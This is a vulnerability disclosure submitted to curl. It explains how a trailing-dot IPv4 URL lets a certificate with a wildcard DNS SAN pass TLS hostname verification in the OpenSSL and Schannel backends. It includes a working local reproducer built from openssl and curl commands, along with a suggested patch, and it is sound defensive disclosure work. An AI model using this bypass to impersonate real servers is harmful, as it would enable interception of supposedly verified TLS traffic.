curl · Report #3734921
Trailing-dot IPv4 URL bypasses IP-address guard, allows wildcard DNS SAN match
How it was found
Hi all,
Sorry to ruin anybody's day, but we've discovered another issue when it comes to dots.
We've found a TLS certificate verification bypass that lets a trailing-dot IPv4 URL -- https://127.0.0.1./ -- pass peer authentication against a wildcard DNS SAN certificate such as DNS:*.0.0.1. The IP address guard that is supposed to prevent wildcard matching on IP literals is silently bypassed because the guard still sees the un-stripped pointer "127.0.0.1." and inet_pton rejects the trailing dot, so the guard returns FALSE and wildcard matching proceeds as if the peer were a DNS hostname.
This is in the same trailing-dot normalisation family as CVE-2022-30115 and the just-reported multi-dot HSTS bypass, but it crosses a different boundary: instead of a protocol-downgrade, you get a full certificate validation bypass on any HTTPS connection whose host happens to be a trailing-dot IPv4 address (however that certificate may come to be...).
The bug is in lib/vtls/hostcheck.c. hostmatch() correctly decrements hostlen to strip the trailing dot at lines 87-88, but it leaves the hostname pointer unchanged. The IP guard at line 96 then calls Curl_host_is_ipnum(hostname) with that original pointer -- "127.0.0.1." including the dot -- and inet_pton(AF_INET, "127.0.0.1.", &in) strictly rejects any string with a stray trailing dot, returning 0. The guard returns FALSE and control falls through to the wildcard matching path:
/* lib/vtls/hostcheck.c lines 87-96 */
/* normalize pattern and hostname by stripping off trailing dots */
if(hostname[hostlen - 1] == '.') /* TRUE for "127.0.0.1." */
hostlen--; /* hostlen 11 -> 10; pointer unchanged */
if(pattern[patternlen - 1] == '.')
patternlen--;
if(strncmp(pattern, "*.", 2))
return pmatch(hostname, hostlen, pattern, patternlen);
/* detect host as IP address or starting with a dot and fail if so */
else if(Curl_host_is_ipnum(hostname) || (hostname[0] == '.'))
/* ^^^ hostname is still "127.0.0.1." -- inet_pton rejects it -- FALSE */
return FALSE;
There is a second failure point upstream of hostmatch(). get_peer_type() in lib/vtls/vtls.c is the function that decides whether a peer is an IPv4 address, an IPv6 address, or a DNS name. It makes the same inet_pton call against the raw "127.0.0.1." string and returns CURL_SSL_PEER_DNS instead of CURL_SSL_PEER_IPV4. That classification then causes ossl_verifyhost() in lib/vtls/openssl.c to enumerate DNS SANs (rather than iPAddress SANs) and send the host string into Curl_cert_hostcheck(), which is where the wildcard comparison runs. So even before hostmatch() is reached, the peer type is already wrong.
The Schannel backend has a parallel instance of the same problem at lib/vtls/schannel_verify.c:533: get_num_host_info() calls curlx_inet_pton(AF_INET, conn_hostname, &ia) and the trailing dot causes it to fail there too, sending the host down the DNS name comparison path.
Reproducer on current master (curl 8.21.0-DEV, libcurl/8.21.0-DEV OpenSSL/3.4.1):
# Generate a local CA and a server cert with only a wildcard DNS SAN -- no IP SAN
mkdir -p /tmp/f30certs && cd /tmp/f30certs
openssl genrsa -out ca.key 2048 2>/dev/null
openssl req -new -x509 -days 3650 -key ca.key -out ca.pem \
-subj "/CN=TestCA-F30" 2>/dev/null
openssl genrsa -out server.key 2048 2>/dev/null
openssl req -new -key server.key -out server.csr \
-subj "/CN=wildcard" 2>/dev/null
cat > server.ext <<'EOF'
subjectAltName = DNS:*.0.0.1
EOF
openssl x509 -req -days 3650 -in server.csr \
-CA ca.pem -CAkey ca.key -CAcreateserial \
-out server.pem -extfile server.ext 2>/dev/null
# Start a TLS server
openssl s_server -cert server.pem -key server.key -port 18450 -quiet 2>/dev/null &
SERVER_PID=$!; sleep 2
cd /path/to/curl # adjust as needed
Test 1 -- trailing-dot IP (vulnerable path):
./src/curl \
--resolve "127.0.0.1.:18450:127.0.0.1" \
"https://127.0.0.1.:18450/" \
--cacert /tmp/f30certs/ca.pem \
-v 2>&1 | grep -E \
"subjectAltName|subject:|SSL certificate verified|no alternative|FAILED|SSL:|curl: \("
Output:
* subject: CN=wildcard
* subjectAltName: "127.0.0.1." matches cert's "*.0.0.1"
* SSL certificate verified via OpenSSL.
curl: (52) Empty reply from server
Exit code 52 (CURLE_GOT_NOTHING): the TLS handshake completed, peer verification passed, and the only reason curl didn't get content back is that openssl s_server sends nothing at the application layer. A real server would have served the response. Verification was bypassed.
Test 2 -- plain IP (correctly rejected):
./src/curl \
--resolve "127.0.0.1:18450:127.0.0.1" \
"https://127.0.0.1:18450/" \
--cacert /tmp/f30certs/ca.pem \
-v 2>&1 | grep -E \
"subjectAltName|subject:|SSL certificate verified|no alternative|FAILED|SSL:|curl: \("
Output:
* subject: CN=wildcard
* subjectAltName does not match ipv4 address 127.0.0.1
* SSL: no alternative certificate subject name matches target ipv4 address '127.0.0.1'
curl: (60) SSL: no alternative certificate subject name matches target ipv4 address '127.0.0.1'
Exit code 60 (CURLE_PEER_FAILED_VERIFICATION). Without the trailing dot, get_peer_type() correctly identifies CURL_SSL_PEER_IPV4, ossl_verifyhost() looks for an iPAddress SAN, finds none, and rejects the certificate.
The full self-contained PoC (cert generation, server startup, and both test invocations) is in reports/F30_poc.sh.
The fix is a one-pointer inconsistency in hostmatch(). After hostlen is decremented, hostname still points at the nul-terminated original string including the dot. The IP guard needs to see a nul-terminated copy whose length matches hostlen:
/* lib/vtls/hostcheck.c: replace the guard at line 96 */
else {
char hostcopy[NI_MAXHOST];
if(hostlen >= sizeof(hostcopy))
return FALSE;
memcpy(hostcopy, hostname, hostlen);
hostcopy[hostlen] = '\0';
if(Curl_host_is_ipnum(hostcopy) || (hostcopy[0] == '.'))
return FALSE;
}
For defence in depth, get_peer_type() in lib/vtls/vtls.c should also strip the trailing dot before calling inet_pton so that the peer type is classified correctly upstream of ossl_verifyhost(). The same treatment is needed for conn_hostname before get_num_host_info() in lib/vtls/schannel_verify.c:533. A higher-level alternative is to have ipv4_normalize() in lib/urlapi.c recognise and strip trailing-dot IPv4 forms early, so the dot never reaches TLS peer setup at all.
Two preconditions are needed: a trailing-dot IPv4 URL (which arises naturally when software constructs URLs from DNS PTR records, passes Host headers through normalisation layers, or when operators append a dot to suppress search-domain suffix lookups), and an attacker-held certificate with a matching wildcard DNS SAN (straightforward to obtain from any private or internal CA, and those are the norm in the enterprise and cloud environments where structured IP ranges like 10.0.x.y make the wildcard useful).
Affected backends: OpenSSL (and forks: AWS-LC, BoringSSL, LibreSSL, quictls) and Schannel. Not affected: rustls, GnuTLS, mbedTLS (each verifies hostnames independently without going through hostmatch()).
Thank you, AISLE Research Team
Impact
Summary:
A client can incorrectly accept a certificate with only a wildcard dNSName SAN for a trailing-dot IPv4 HTTPS URL, causing a full server-identity verification bypass for that connection. An attacker who can present a trusted cert like DNS:*.0.0.1 in an environment where https://127.0.0.1./-style URLs occur could impersonate the target host and terminate TLS successfully.